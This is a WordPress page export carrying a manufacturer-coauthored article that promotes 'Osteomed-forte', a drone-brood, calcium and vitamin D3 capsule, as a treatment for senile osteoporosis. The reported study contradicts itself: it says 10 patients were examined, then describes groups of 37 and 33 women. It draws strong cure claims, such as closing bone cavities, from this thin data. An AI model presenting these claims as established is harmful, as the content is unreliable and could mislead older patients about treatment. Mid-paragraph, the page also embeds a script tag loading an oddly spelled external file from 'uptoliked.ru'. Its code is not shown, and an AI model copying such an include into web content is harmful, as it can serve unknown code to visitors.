{"id":42,"date":"2016-07-08T17:18:33","date_gmt":"2016-07-08T17:18:33","guid":{"rendered":"http:\/\/osteomed.su\/en\/?page_id=42"},"modified":"2021-07-22T09:59:51","modified_gmt":"2021-07-22T09:59:51","slug":"osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis","status":"publish","type":"page","link":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/","title":{"rendered":"\u00abOsteomed-forte\u00bb \u2013 New approach to the treatment of pre-senile and senile osteoporosis"},"content":{"rendered":"<p>[vc_row][vc_column][vc_column_text]<\/p>\n<blockquote>\n<p style=\"text-align: right;\"><em>V.I. Strukov, D.G. Elistratov, A.I. Kislov, N.V. Erjomina,&nbsp;O.A. Ismailova, Yu.G. Shtscherbakova, T.A. Kuptsova<\/em><\/p>\n<p style=\"text-align: right;\"><em>State educative establishment of supplementary professional education \u00abPenza institute of physicians\u2019 advanced training\u00bb of Health Ministry of Russia (rector \u2013 Medicine Dr., Prof. Kislov A.I.), Osteoporosis research center, Russia, Penza city.&nbsp;<sup>&nbsp;<\/sup>Parapharm Ltd.Co, Russia, Penza city.<\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect [1]. The mechanism of development of osteoporosis among the elderly as a result of sex hormones deficiency effect on the osseous tissue is extremely complicated and not fully researched. The blood serum of the healthy menstruating women contains estrogens as well as androgens. But when the important physiological significance of androgens in a man\u2019s organism reproductive development is clear,<!--more--> the precise role of the same androgens in a woman\u2019s organism is less investigated. Despite the fact, that the level of androgens in a woman\u2019s organism 10-20 times lower, than in a man\u2019s one, these hormones play significant role in woman\u2019s organism [2,3]. Androgens have such necessary functions, as synthesis of estrogens, development of follicles, regulates the normal functioning of ovaries, osseous metabolism and sexual behavior [4,5,6]. Androgenic deficiency among women may have a negative effect on all their organs and systems. In a woman organism, androgens as well estrogens regulate the skeleton homeostasis, although relative role of each hormone is not precisely revealed. For the time present was reported, that the low level of androgens was linked to the low density of osseous tissue and increased risk of fractures [7,8].<\/p>\n<p style=\"text-align: justify;\">Initially, the deficiency of estrogens, which, as was reported, might initiate processes of accelerated loss of the bone mass, independently of the causes of ovaries function insufficiency, was believed the main cause of the development of postmenopausal osteoporosis. In view of all this, the hormone replacement therapy with using estrogens is extensively used for preventing of the loss of bone tissue mass among women after menopause. It decreases substantially the risk of wrist and spine fractures [9].<\/p>\n<p>[\/vc_column_text][vc_row_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]The role of estrogens in the mineralization of osseous tissue is clearly shown in many researches. What concerns the role of androgens for woman\u2019s health, it is much less investigated. None the less, many authors report that importance of androgens in metabolic processes is much higher, than it was believed. This suggestion may be confirmed by the fact, that androgenic (as well as estrogenic) sex steroid receptors are present almost in all organs and tissues of female organism: osseous tissue, central nervous system, skin, blood vessels, adipose tissue, smooth muscle tissue and skeletal striated muscles. Thus, the deficiency of androgens in female organism may lead to various diseases, including osteoporosis [10,11,12,13].[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_single_image image=&#8221;83&#8243; img_size=&#8221;large&#8221;][\/vc_column_inner][\/vc_row_inner][vc_row_inner][vc_column_inner][vc_column_text]It was determined, that such hormone as testosterone stimulates the general growth of the bone matrix and contributes to the retention of calcium in organism. The bone matrix growth is correlated with the anabolic activity of testosterone, and the formation of calcium deposits is a secondary effect, caused by the growth of bone matrix. The metabolic activity of testosterone is intermediated by the androgenic receptor in the cell cytoplasm. Within the cell cytoplasm the testosterone is binding to cell\u2019s receptor (protein). After the complex was formed, the testosterone becomes activated and then is transported to the cell nucleus. The binding of the complex to chromosomal proteins starts the formation process of messenger ribonucleic acid (mRNA), necessary for synthesis of proteins, which are responsible for testosterone activity. Receptor can interact with testosterone and some other androgens. Within osseous tissue cells and skeletal muscle fibers, testosterone possesses the higher sensibility to the receptor than other androgens. Within other cells the highest sensibility to the receptor showed 5a-dihydrotestosterone. In this case, after testosterone was within the cell, it is to be transformed into 5a-dihydrotestosterone. In the skeletal muscles and osseous tissue this transformation of testosterone into 5a-dihydrotestosterone is impossible. The genetic information, contained in mRNA, is transferred within the process of cell\u2019s proteins synthesis in ribosome.<\/p>\n<p>The state of the cell\u2019s receptors is regulated by increase or decrease of binding locations and binding sensibility changes. Thus, the testosterone effect on metabolic processes depends from its source, as well as from stimulation or inhibition of specific cell\u2019s receptor function; hence, the increasing of metabolic hormonal influence may be conditioned not only by high concentration of hormone in the intercellular fluid, but also by as a result of increase of binding locations and\/or increased receptor\u2019s sensibility to hormone. When receptor\u2019s function is reduced, even the high hormone level will be incapable to influence effectively on the metabolism. Therefore it is incorrect to equal the concentration of hormone in blood and the degree of its effect on metabolism.<\/p>\n<p>Effect of testosterone among women may be increased dependent of estrogens output (Danhaive, Rousseau, cit. [20]). The increased sensibility to testosterone is believed to be due to the stimulation of the function of androgenic receptors.<\/p>\n<p><strong>Basing on these facts, the authors suppose:<\/strong><\/p>\n<ol>\n<li><strong>Testosterone has an effect on the bone matrix growth;<\/strong><\/li>\n<li><strong>Keeping of appropriate testosterone level is important for woman\u2019s organism;<\/strong><\/li>\n<li><strong>Testosterone effect on woman\u2019s organism may be strengthened by estrogens [2,3].<\/strong><\/li>\n<\/ol>\n<p>The main androgens in the blood serum of women with normal menstrual cycle are testosterone and dihydrotestosterone. Dihydroepiandrosterone sulfate (DHAE-sulfate), dihydroepiandrosterone (DHAE), and androstenedione are estimated as prohormones since their androgenic properties become effective only after their conversion into testosterone. Organism of an average healthy woman of reproductive age secretes ca. 300 \u03bcg of testosterone per day (i.e. 5% from the average per day testosterone output among men). With ageing the amount of androgens in female organism is being significantly reduced. Thus, the average levels of bioavailable and free testosterone, androstendione and dihydroepiandrosterone (DHAE) among the 45 years old women amount 50%, among 60 years old \u2013 ca. 30%, among 70 years old \u2013 10% in comparison with the average level for 20 years old women (100%) [12]. As was reported in some researches, the endogenous androgens showed the favorable effect on the bone mineral density among the women after menopause [10]. On the base of abovementioned facts, S.Kalinchenko et al. (2008) supposed, that investigation of the role of androgens in bone metabolism is completely reasonable and necessary for further treatment of osteoporosis and osteopenia, especially among women.<\/p>\n<p>At present the world practice has a great experience of hormone replacement therapy (HRT) based on administration of estrogens. However there are more an more data, which confirm, that the effective treatment of osteoporosis is often impossible without correcting the age-dependent androgenic deficiency (hypogonadism). Furthermore, the wide use of hormone (estrogen) replacement therapy, especially among aged women, may be limited because of series of contraindications, such as various diseases of liver, risk of thrombus developing, thrombophlebitis, risk of endometrial hyperplasia and hyperplasia of the breast. During prolonged (10-15 years) administration of estrogens the risk of cancer increases in 30-50% [10].<\/p>\n<p>Considering all above mentioned, it may be concluded that the exploring of further new methods of effective treatment of senile osteoporosis is extremely actual. As since administration of natural hormones (estrogens and androgens) has several disadvantages, it was recommended to use herbal hormones. So, in USA was developed a substrate (Citracal plus Vitamin D plus Genistein), intended for synthesis of organism\u2019s own hormones, containing calcium citrate and genistein (isoflavone, extracted from soybeans). We (Parapharm Ltd.Co. and Penza institute of physicians\u2019 advanced training) have developed new technologies in treatment for osteoporosis with addition of such bee keeping articles as drone brood as donator of sex hormones (Patent \u21162412616) [14,15,16,17].<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<p>One capsule of our new remedy \u00abOsteomed-forte\u00bb contains vitamin D3 \u2013 500 IU per day, drone brood \u2013 100 mg, calcium citrate \u2013 500 mg. The necessity of the adding of drone brood was demanded by its properties as donator of sex hormones, such as estradiol, progesterone and testosterone, which provide stimulating effect on the bone mineral density. Drone brood is used for treatment of sexual disfunctions, caused by androgenic deficiency, and climax [18].<\/p>\n<p>By the clinical researches it was determined that senile osteoporosis induce the formation of cavities in cancellous (trabecular) bones (trabeculation) as a result of increased resorption of bones\u2019 trabeculae. However, there is no published researches concerning the problem of closing of cavities, caused by senile osteoporosis. Penza institute of physicians\u2019 advanced training is focused now on the investigation of various possible osteoprotectors, which could be capable to close such bone cavities.<\/p>\n<h3><b>Research aim<\/b>.<\/h3>\n<p>Investigation of \u00abOsteomed \u2013 forte\u00bb activity for the treatment of postmenopausal and senile osteoporosis among women with androgenic deficiency.<\/p>\n<h3><b>Materials and methods<\/b>.<\/h3>\n<p>In the period from 2009 to March 2012 The Osteoporosis research center of Penza institute of physicians\u2019 advanced training had examined 10 patients \u2013 women from 49 to 85 years old (an average age consisted 65,5 \u00b1 3,7 years). The patients were selected for examination according to following criteria: women with postmenopausal and senile osteoporosis, hormonally and clinically confirmed androgenic deficiency, bone mineral density less than \u2013 2,5 of standard deviation (SO) and presence of cavities in trabecular bones. Women with secondary osteoporosis and various systemic and endocrine diseases, oncologic pathologies, as well as who was been treated with estrogen replacement therapy (ERT) or glucocorticoids were excluded from this investigation. All patients had signed a written agreement on their participation in the clinical testing of the \u00abOsteomed forte\u00bb compound.<\/p>\n<p>The diagnostics of osteoporosis were conducted on the base of complaints and physical examinations of patients with use of medical, radiologic and clinical biochemistry tests. For the determining of bone mineral density by X-ray absorptiometry method was been used device \u00abOsteometr \u2013 DTX \u2013 100\u00bb. It is the only type of device that can simultaneously detect bone mineral density, presence of cavities in bones and their dynamics. The examination of patients included collection of medical histories, general examination, medical tests (incl. radiologic tests and clinical chemistry), as well as hormone investigations to determine amounts of bioavailable testosterone, sex hormone-binding globulin (SHBG), thyroid-stimulating hormone (to exclude patients with hypothyroidism). Hormone investigation was performed using immuno chemiluminescence method and \u00abImmulite 2000\u00bb device. Seriousness of osteoporosis was evaluated according to the Classification of World Health Organization (WHO).<\/p>\n<p>As criteria for evaluation of activity of \u00abOsteomed forte\u00bb for the treatment of age-depending osteoporosis were taken the results of clinical chemistry, radiologic and medical tests, which were intended to examine the capacity of closing or diminishing of cavities in trabecular bones.<\/p>\n<p>Depending of the method of treatment of osteoporosis all the tested women were divided into two groups, correlated by age and seriousness of disease. The first group included 37 women, to which was administered \u00abOsteomed forte\u00bb, taken orally, 1 capsule two times per day at morning and before sleep; the treatment included 3-month course of treatment three times in the year. (One capsule of \u00abOsteomed forte\u00bb contained 500 mg of calcium citrate, 100 mg of drone brood, 500 IU of vitamin D3). The second group (control) included 33 women, to which was taken \u00abCalcium D3 Nicomed\u00bb, containing in one capsule 0,5 g of Calcium, using the same scheme of administering.<\/p>\n<p>All patients were examined before the administration of remedies and after each three months of therapy up to the end of the whole course of treatment in order to determine bone mineral density and dynamics of development of bone cavities using X-ray absorptiometry method.<\/p>\n<p>Statistical assay of the received data was performed using the program packet StatSoft, Windows XP. Quantitative values are described taking in account the average and standard deviations. Received data are presented in the format M\u00b1m, where \u041c is an arithmetic mean, and m \u2013 error of mean. Distinctions were considered as statistically significant when significance level is \u0440&lt;0,05 [19].<\/p>\n<h3><b>Results and discussion<\/b>.<\/h3>\n<p>After the end of treatment course 75% of patients from the first group of women, treated with \u00abOsteomed forte\u00bb, showed the more visible therapeutic effect: 50% of patients \u2013 diminishing of bone cavities, 25% \u2013 closing of bone cavities. In the second group of tested, treated with \u00abCalcium D3 Nicomed\u00bb, 60% of patients had no favorable effects and the closing of bone cavities occurred 5 times more seldom than in first group. The better results of treatment with \u00abOsteomed forte\u00bb can be explain by the presence of drone hormones, serving as a substrate for synthesis of necessary hormones in patient\u2019s own organism. <b><\/b><\/p>\n<p>The analysis of hormone values showed that concentrations of available testosterone among women from two tested groups before treatment were: in the first group \u2013 1,1\u00b10,4 nmol\/l, in the second group \u2013 1,2\u00b10,5 nmol\/l (\u0440&gt;0,05) at reference ranges for present method 1,7-3,4 nmol\/l. Concentrations of sex hormone-binding globulin in the both groups before treatment were 64,3 \u00b1 2,6 nmol\/l, 62,8 \u00b1 2,9 nmol\/l (\u0440&gt;0,05), respectively. Nine months later, after the treatment with \u00abOsteomed forte\u00bb was remarked improvement of state among 29 from 37 patients. Medical tests showed increase of available testosterone concentration in blood serum from 1,1\u00b10,4 nmol\/l (before treatment) to 2,5\u00b10,6 nmol\/l (after treatment), as well as increase of the sex hormone-binding globulin from 64,3\u00b12,6 nmol\/l to 115,0\u00b15,9 nmol\/l (\u0440&lt;0,05), that exceeded the upper limit of reference ranges for blood tests 16\u2013108 nmol\/l. Patients from the second group, treated with \u00abCalcium D3 Nicomed\u00bb, showed no positive changes neither in testosterone level nor increase of sex hormone-binding globulin. The results of investigation of bone mineral density&nbsp; in the both groups after 9 months of treatment are showed in Figure 1.<\/p>\n<div style=\"width: 370px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" class=\" \" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg\" alt=\"\" width=\"360\" height=\"218\"><p class=\"wp-caption-text\">Fig. 1. Bone mineral density in the both groups after 9 months of treatment.<\/p><\/div>\n<p>As it was shown in the Figure 1, among the first group, treated with \u00abOsteomed forte\u00bb, only 24% of patients reached no positive changes, whereas in the second group, treated with \u00abCalcium D3 Nicomed\u00bb, this rate was 60%. Diminishing of bone cavities\u2019 size in the first group, treated with \u00abOsteomed forte\u00bb, was 50%, whereas in the second group, treated with \u00abCalcium D3 Nicomed\u00bb, this rate was 36%. The rate of closing of bone cavities in first group (\u00abOsteomed forte\u00bb) was 5 times higher than in the second group (\u00abCalcium D3 Nicomed\u00bb). Figures 2-7 demonstrate closing of bone cavities with an example of three women from the first group, treated with \u00abOsteomed forte\u00bb. The osteometry, performed before treatment detected bone cavities (Fig. 2, 4, 6 \u2013 before treatment). After 10 months of treatment with \u00abOsteomed forte\u00bb cavities have closed (Fig. 3, 5, 7).<\/p>\n<p>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_row_inner content_placement=&#8221;middle&#8221;][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<img loading=\"lazy\" class=\"aligncenter\" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/2OsteomedFOrte.jpg\" alt=\"\" width=\"299\" height=\"218\">Fig.2. Patient S., 52 years old. Bone cavities before treatment.[\/vc_column_text][vc_column_text]<\/p>\n<div style=\"width: 316px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" class=\" \" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/4OsteomedFOrte.jpg\" alt=\"\" width=\"306\" height=\"272\"><p class=\"wp-caption-text\">Fig. 4. Patient \u041a., 56 years old. Cavities before treatment.<\/p><\/div>\n<div class=\"mceTemp\"><\/div>\n<p>[\/vc_column_text][vc_column_text]<img loading=\"lazy\" class=\"aligncenter\" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/6OsteomedFOrte.jpg\" alt=\"\" width=\"306\" height=\"272\">Fig.6. Patient E., 72 years old. Bone cavities before treatment.[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<img loading=\"lazy\" class=\"aligncenter\" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/3OsteomedFOrte.jpg\" alt=\"\" width=\"306\" height=\"272\">Fig. 3. Patient S. Bone cavities have closed after 10 months treatment.[\/vc_column_text][vc_column_text]<img loading=\"lazy\" class=\"aligncenter\" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/5OsteomedFOrte.jpg\" alt=\"\" width=\"306\" height=\"272\">Fig. 5. Patient K. after 10 months treatment. Cavities have closed[\/vc_column_text][vc_column_text]<img loading=\"lazy\" class=\"aligncenter\" src=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/7OsteomedFOrte.jpg\" alt=\"\" width=\"306\" height=\"272\">Fig.7. Patient E. after 10 months treatment. Cavities have closed.[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_column_text]The results of performed investigation clearly illustrated, that the compound, consisting of vitamin D3, drone brood and calcium citrate, contribute to the normalization of androgen level among women. It allows not only to improve the general state of patient, but also to positive osteoprotector effect, linked with increase of bone mineral density and diminishing or closing of cavities in trabecular bones. The therapeutical effect of \u00abOsteomed forte\u00bb on the morphological symptoms of osteoporosis among women is not completely investigated. Available data indicate, that the ageing is usually followed by decrease of osseous tissue formation process in ratio to bone resorption, what allows to regard osteoporosis as a disease of osseous tissue formation. Thus, the results of our investigation have the great practical importance for the further development of anabolic strategies to effectively treat the senile osteoporosis with cavities in trabecular bones and the loss of bone mass. Further investigations are also needed.<\/p>\n<h3><b>Conclusions<\/b><b>:<\/b><\/h3>\n<ol>\n<li>\u00abOsteomed forte\u00bb and \u00abCalcium D3 Nicomed\u00bb exerted the positive effect by the treatment of osteoporosis in both tested groups. However, in the first group, treated with \u00abOsteomed forte\u00bb, the tested remedy showed more expressed osteoprotectiver action, manifested in closing or diminishing of bone cavities among 75% of women with primary osteoporosis.<\/li>\n<li>Investigation confirmed that \u00abOsteomed forte\u00bb may reinforce the mechanism of calcium regeneration using calcium citrate and vitamin D3, and using the drone brood may support the androgen level and thus contribute to the bone mineralization and closing of bone cavities. Therefore, the combination of calcium citrate, vitamin D3 and drone brood allows to obtain the most effect in osteoporosis treatment.<\/li>\n<li>\u00abOsteomed forte\u00bb possesses an expressed gonadotrope effect and thus helps to regenerate the testosterone concentration in blood.<\/li>\n<li>\u00abOsteomed forte\u00bb is an effective therapeutic remedy for treatment of senile and pre-senile osteoporosis among women of menopausal age<\/li>\n<\/ol>\n<h3>References:<\/h3>\n<ol>\n<li>\u0421\u043c\u0435\u0442\u043d\u0438\u043a \u0412.\u041f. \u041f\u043e\u0441\u0442\u043c\u0435\u043d\u043e\u043f\u0430\u0443\u0437\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0441\u0442\u0435\u043e\u043f\u043e\u0440\u043e\u0437: \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u0437\u0430\u043c\u0435\u0441\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0433\u043e\u0440\u043c\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0435\u0440\u0430\u043f\u0438\u0438 (Postmenopausal osteoporosis: principles of hormone replacement therapy) \/\/ \u041e\u0441\u0442\u0435\u043e\u043f\u043e\u0440\u043e\u0437 \u0438 \u043e\u0441\u0442\u0435\u043e\u043f\u0430\u0442\u0438\u0438. 1998. \u21162. \u0421.44\u201349.<\/li>\n<li>Burger H.G. Androgen production in women \/\/ Fertil Steril. 2002. Vol.77 (Suppl. 4). \u0420.3\u20135.<\/li>\n<li>\u042d\u043d\u0434\u043e\u043a\u0440\u0438\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430. \u0421\u043f\u043e\u0440\u0442 \u0438 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c (Endocrine system. Sport and moving activity) \/ \u041f\u0435\u0440. \u0441 \u0430\u043d\u0433\u043b. \u041f\u043e\u0434 \u0440\u0435\u0434. \u0423.\u0414\u0436. \u041a\u0440\u0435\u043c\u0435\u0440, \u0410.\u0414. \u0420\u043e\u0433\u043e\u043b\u0430-\u041a.: \u041e\u043b\u0438\u043c\u043f. \u041b-\u0440\u0430, 2008. \u0421.398-416.<\/li>\n<li>Azziz R., Nestler J.E., Dewailly D. Androgen excess disorders in women. Second Edition. Humana Press, 2007.<\/li>\n<li>Guay A.T. Decreased testosterone in regularly menstruating women with decreased libido: a clinical observation \/\/ J Sex Marital Ther. 2001. Vol.27. P.513\u2013519.<\/li>\n<li>Braunstein G.D., Sundwall D.A., et al. Safety and efficacy of a testosterone patch for the treatment of hypoactive sexual desire disorder in surgically menopausal women: randomized placebo-controlled trial \/\/ Arch Intern Med, 2005. Vol.165. P.1582\u20131589.<\/li>\n<li>Guay A., Munarriz R., Jacobson J., Talakoub L., Traish A., Quirk F., Goldstein I., Spark R. Serum androgen levels in healthy premenopausal women with and without sexual dysfunction: Part A. Serum androgen levels in women aged 20\u201349 years with no complaints of sexual dysfunction \/\/ J Impot Res. 2004. Vol.16. P.112\u2013120.<\/li>\n<li>Davis S.R., McCloud P., Strauss B.J., Burger H. Testosterone enhances estradiols effects on postmenopausal bone density and sexuality \/\/ Maturitas. 2008. Vol.61. P.17\u201326.<\/li>\n<li>Riggs B.L., Hodgson I.F., O&#8217;Fallon W.M. \u0435t al. Auoride treatment \u043ef the fracture rate in postmenopausal women with osteoporosis \/\/ N Engl J Med. 1990. \u2116322. \u0420.802-809.<\/li>\n<li>Kalinchenko S., Vishnevskiy E.L., Koval A.N., Mskhalaya G.J., Saad F. Beneficial effects of testosterone administration on symptoms of the lower urinary tract in men with late-onset hypogonadism: A pilot study \/\/ The Aging Male. 2008. Vol.11. Iss.2. P.57\u201361.<\/li>\n<li>Nathorst-Boos J., Floter A., Jarcander-Rollf M. Treatment with percutaneous testosterone gel in postmenopausal women with decreased libido-effects on sexuality and psychological well-being \/\/ Maturitas. 2006. Vol.53. P.11\u201318.<\/li>\n<li>Riverra-Woll L.M., Papalia M., Davis S.R., Burger H.G. Androgen insufficiency in women: diagnostic and therapeutic implications \/\/ Human Reproduction Update. 2004. Vol.10. \u2116 5. P.421\u2013432.<\/li>\n<li>&nbsp;\u0421\u0442\u0440\u0443\u043a\u043e\u0432 \u0412.\u0418., \u0415\u043b\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0432 \u0414.\u0413. \u0418\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0438 \u043d\u043e\u0432\u044b\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0432 \u043b\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0430\u043a\u0442\u0438\u043a\u0435 \u043e\u0441\u0442\u0435\u043e\u043f\u043e\u0440\u043e\u0437\u0430 (Known and new methods of prevention and treatment of osteoporosis) \/ \u041c\u0435\u0442\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438. \u041f\u0435\u043d\u0437\u0430, 2012. \u0421.46.<\/li>\n<li>\u0421\u0442\u0440\u0443\u043a\u043e\u0432 \u0412.\u0418., \u0415\u043b\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0432 \u0414.\u0413., \u041b\u0443\u043a\u044c\u044f\u043d\u043e\u0432 \u0412.\u0412., \u041a\u0430\u0442\u044e\u0448\u0438\u043d\u0430 \u042e.\u0413. \u041e\u0442\u0435\u043e\u043c\u0435\u0434-\u0444\u043e\u0440\u0442\u0435 \u2013 \u043d\u043e\u0432\u044b\u0439 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u043f\u0440\u0435\u043f\u0430\u0440\u0430\u0442 \u0432 \u043b\u0435\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u0441\u0442\u043c\u0435\u043d\u043e\u043f\u0430\u0443\u0437\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0441\u0442\u0435\u043e\u043f\u043e\u0440\u043e\u0437\u0430 (Osteomed-forte \u2013 a new effective remedy for treatment of postmenopausal osteoporosis) \/\/ \u0410\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0421\u0438\u0431\u0438\u0440\u0438. 2012. \u21166. \u0421.6.<\/li>\n<li>\u0421\u0442\u0440\u0443\u043a\u043e\u0432 \u0412.\u0418.. \u041c\u0438\u0440\u043e\u0432\u043e\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043f\u0435\u0440\u0435\u043b\u043e\u043c\u0430\u043c\u0438 \u0438 \u043e\u0441\u0442\u0435\u043e\u043f\u043e\u0440\u043e\u0437\u043e\u043c (World discovery in the struggle against bone fractures and osteoporosis) \/\/ \u041f\u043e\u043b\u0438\u043a\u043b\u0438\u043d\u0438\u043a\u0430. 2012. \u21165(1). \u0421.126-127.<\/li>\n<li>\u0421\u0442\u0440\u0443\u043a\u043e\u0432 \u0412.\u0418., \u041a\u0430\u0442\u044e\u0448\u0438\u043d\u0430 \u042e.\u0413., \u0424\u0438\u043b\u0438\u043f\u043f\u043e\u0432\u0430 \u041e.\u0412. \u041e\u0441\u0442\u0435\u043e\u043c\u0435\u0434 \u2013 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440 \u043c\u0438\u043d\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u043b\u043e\u0442\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u043b\u043e\u0441\u0442\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0439 \u043f\u0440\u0438 \u043b\u0435\u0447\u0435\u043d\u0438\u0438 \u043f\u0440\u0435\u0441\u0435\u043d\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0438 \u0441\u0435\u043d\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0441\u0442\u0435\u043e\u043f\u043e\u0440\u043e\u0437\u0430 (Osteomed as an effective regulator of bone mineral density and closing of bone cavities during pre-senile and senile osteoporosis) \/\/ \u041f\u043e\u043b\u0438\u043a\u043b\u0438\u043d\u0438\u043a\u0430. 2013. \u21161(1). C.90-91.<\/li>\n<li>\u0411\u0443\u0440\u043c\u0438\u0441\u0442\u0440\u043e\u0432\u0430 \u041b.\u0410. \u0424\u0438\u0437\u0438\u043a\u043e-\u0445\u0438\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0431\u0438\u043e\u0445\u0438\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 \u0431\u0438\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0442\u0440\u0443\u0442\u043d\u0435\u0432\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u043b\u043e\u0434\u0430 (Physico-chemical analysis and biochemical evaluation of biologic activity of drone brood). 03.00.04 \u2013 \u0431\u0438\u043e\u0445\u0438\u043c\u0438\u044f. \u0414\u0438\u0441\u0441.&nbsp; \u0441\u043e\u0438\u0441\u043a. \u0443\u0447. \u0441\u0442. \u043a\u0431\u043d. \u0420\u044f\u0437\u0430\u043d\u044c, 1999.<\/li>\n<li>\u0420\u0435\u0431\u0440\u043e\u0432 \u041e.\u042e. \u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c Statistika. (Statistical analysis&nbsp; of medical data. Use of application suite Statistika). \u041c.:\u041c\u0435\u0434\u0438\u0430\u0421\u0444\u0435\u0440\u0430, 2006.312\u0441.<\/li>\n<li>\u042d\u043d\u0434\u043e\u043a\u0440\u0438\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430. \u0421\u043f\u043e\u0440\u0442 \u0438 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c (Endocrine system. Sport and moving activity) \/ \u041f\u0435\u0440. \u0441 \u0430\u043d\u0433\u043b. \u041f\u043e\u0434 \u0440\u0435\u0434. \u0423.\u0414\u0436.\u041a\u0440\u0435\u043c\u0435\u0440., \u0410.\u0414.\u0420\u043e\u0433\u043e\u043b\u0430- \u041a.: \u041e\u043b\u0438\u043c\u043f. \u041b-\u0440\u0430, 2008. \u0421.314-332.<\/li>\n<li>Mudali S., Dobs A. S., Ding J., Cauley J. A., Szklo M., Golden S. H. Endogenous postmenopausal hormones and serum lipids: the Atherosclerosis Risk in Communities Study \/\/ J Clin Endocrinol Metab. 2005. Vol.90. P.1202\u20131209.[\/spoiler]<\/li>\n<\/ol>\n<p>[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text] V.I. Strukov, D.G. Elistratov, A.I. Kislov, N.V. Erjomina,&nbsp;O.A. Ismailova, Yu.G. Shtscherbakova, T.A. Kuptsova State educative establishment of supplementary professional education \u00abPenza institute of physicians\u2019 advanced training\u00bb of Health Ministry of Russia (rector \u2013 Medicine Dr., Prof. Kislov A.I.), Osteoporosis research center, Russia, Penza city.&nbsp;&nbsp;Parapharm Ltd.Co, Russia, Penza city. Osteoporosis is reported to be one&hellip;<\/p>\n","protected":false},"author":3,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.7 - 